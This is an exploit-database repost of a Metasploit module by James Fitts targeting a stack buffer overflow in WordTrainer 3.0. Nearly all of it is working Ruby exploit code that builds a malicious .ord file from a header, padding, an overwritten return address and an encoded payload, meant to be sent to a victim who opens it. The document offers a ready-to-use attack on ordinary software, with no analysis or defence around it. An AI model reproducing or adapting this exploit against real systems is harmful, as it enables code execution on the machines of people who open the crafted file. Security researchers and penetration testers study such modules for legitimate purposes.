Wordtrainer 3.0 – ‘.ord’ Local Buffer Overflow (Metasploit)

  • 作者: James Fitts
    日期: 2011-07-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17492/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::FILEFORMAT
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'WordTrainer v3.0 (ORD File) Stack Buffer Overflow',
    			'Description'=> %q{ 
    					This module exploits a stack-based buffer overflow in WordTrainer v3.0.An attacker must send the file to the victim and the victim must open the file.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' => [ 
    						'C4SS!0 G0M3S', # Initial Exploit
    						'James Fitts' # Metasploit Module
    					],
    			'Version'=> '$Revision: $',
    			'References' =>
    				[
    					[ 'URL', 'http://www.exploit-db.com/exploits/17157' ],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'DisablePayloadHandler' => 'true',
    				},
    			'Payload'=>
    				{
    					'Space'=> 1500,
    					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x20",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows Universal', { 'Ret' => 0x00430363 } ], #call esp in wt.exe
    				],
    			'Privileged' => false,
    			'DisclosureDate' => 'Apr 12 2011',
    			'DefaultTarget'=> 0))
    
    			register_options(
    				[
    					OptString.new('FILENAME', [ true, 'The file name.','msf.ord']),
    				], self.class)
    	end
    
    	def exploit
    
    		ord = "\x47\x4C\x4F\x53\x4F\x52\x0D\x0A\x31\x0D\x0A\x0D\x0A\x20\x0D\x0A" # header
    		ord << rand_text_alpha_upper(868)
    		ord << [target.ret].pack('V')
    		ord << payload.encoded
    
    		print_status("Creating '#{datastore['FILENAME']}' file ...")
    
    		file_create(ord)
    
    	end
    
    end